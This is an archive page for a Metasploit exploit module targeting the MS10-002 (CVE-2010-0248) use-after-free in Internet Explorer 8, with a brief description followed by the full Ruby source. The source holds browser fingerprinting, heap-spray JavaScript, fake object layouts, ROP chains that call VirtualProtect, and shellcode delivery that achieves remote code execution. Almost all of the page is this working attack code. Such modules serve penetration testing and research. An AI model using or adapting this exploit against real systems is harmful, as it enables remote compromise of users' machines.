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MS10-002 Internet Explorer Object Memory Use-After-Free

MS10-002 Internet Explorer Object Memory Use-After-Free
Posted Mar 22, 2012
Authored by Peter Vreugdenhil, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Internet Explorer's mshtml component. Due to the way IE handles objects in memory, it is possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext to be used even after it gets freed, therefore allowing remote code execution under the context of the user. This particular vulnerability was also one of 2012's Pwn2Own challenges, and was later explained by Peter Vreugdenhil with exploitation details. Instead of Peter's method, this module uses heap spraying like the 99% to store a specially crafted memory layout before re-using the freed memory.

tags | exploit, remote, code execution
advisories | CVE-2010-0248, OSVDB-61914
MD5 | 00fde742f8f9c843519380bda868dcb7

MS10-002 Internet Explorer Object Memory Use-After-Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "MS10-002 Internet Explorer Object Memory Use-After-Free",
'Description' => %q{
This module exploits a vulnerability found in Internet Explorer's
mshtml component. Due to the way IE handles objects in memory, it is
possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
to be used even after it gets freed, therefore allowing remote code
execution under the context of the user.

This particular vulnerability was also one of 2012's Pwn2Own
challenges, and was later explained by Peter Vreugdenhil with exploitation
details. Instead of Peter's method, this module uses heap spraying like
the 99% to store a specially crafted memory layout before re-using the
freed memory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
'juan vazquez', # Metasploit
'sinn3r' # Metasploit
],
'References' =>
[
[ 'MSB', 'MS10-002'],
[ 'CVE', '2010-0248' ],
[ 'OSVDB', '61914'],
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/']
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
[ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ]
],
'Privileged' => false,
'DisclosureDate' => "Jan 21 2010",
'DefaultTarget' => 0))
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[1] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[2] #IE 8 on Windows 7 SP1 with JRE
else
return nil
end
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

js_code = build_javascript(my_target)

html = %Q|
<html>
<head>
<script>
#{js_code}
</script>
</head>
<body onLoad="window.setTimeout(Start,100);" id="bodyid">

<table id="tableid">
<tr><th id="thid"></th></tr>
<tr id="trid"><td id="tdid"></td></tr>
</table>

</body>
</html>
|

print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

def build_javascript(my_target)

p = get_payload(my_target)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

# The exploit will try to take up the freed memory
# with a fake item before the reuse
fake_item = [
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
0x0c0c003c, # pointer to c_table_cell
junk,
junk,
junk,
0x0c0c0050, # pointer to c_cache_item
junk,
junk,
].pack("V*")
fake_item_js = Rex::Text.to_unescape(fake_item)

# Here start the crafted layout of the memory
# which will be sprayed to get code execution
# IE 8 => Spray be sprayed into 0c0c0024
memory_layout = [
junk,
junk,
junk,
junk,
junk,
junk,
0x0c0c0040, # ----- points to 0x0c0c0040
0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
junk,
junk,
0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
junk, # Stored at 0c0c0c50
junk,
junk,
0x0c0c0078,
junk,
junk,
junk,
junk,
junk,
0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
].pack("V*")
memory_layout_js = Rex::Text.to_unescape(memory_layout)

# Steps:
# 1. Force the free.
# 2. Try to reuse the freed memory with a fake item.
# The fake item store crafted pointers to the
# memory which will be sprayed on step 3.
# 3. Heap Spray: Shellcode + crafted memory layout to
# get execution flow when the memory freed in step 1
# is reused in step 4.
# 4. Force the memory reuse.
spray = <<-JS
function Start() {

var fake_items = unescape("#{fake_item_js}");
while (fake_items.length < 0x1000) fake_items+= fake_items;
var fake_item = fake_items.substring(0, (96-6)/2);

var code = unescape("#{js_code}");
var memory_layout = unescape("#{memory_layout_js}")
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block_shell = shellcode.substring(0, (0x80000-6)/2);

var heap = new heapLib.ie(0x20000);

var TableClone = document.getElementById('tableid').cloneNode(1);
var TableCellUrns = TableClone.cells.urns('a');
var bla = TableClone.cells.item(1);
var TableCellUrnsTags = TableCellUrns.tags('a');
TableClone.outerText = 'a';

heap.gc();
for(i = 0; i < 30; i++) {
heap.alloc(fake_item);
}

for (var i=1; i < 0x1C2; i++) {
heap.alloc(block_shell);
}

Result = TableClone.cells;
Result = TableCellUrnsTags.item(1);

}
JS

spray = heaplib(spray, {:noobfu => true})
return spray
end

def nop
return make_nops(4).unpack("V").first
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
def get_payload(t)
# chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000800, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")

when :jre
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end

code = rop
code << make_nops(38)
code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
code << [t.ret].pack("V") # Stack Pivot
code << payload.encoded

return code
end

end

=begin
(694.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!WriteProcessMemory+0x6d:
7c8022cf cc int 3
=end

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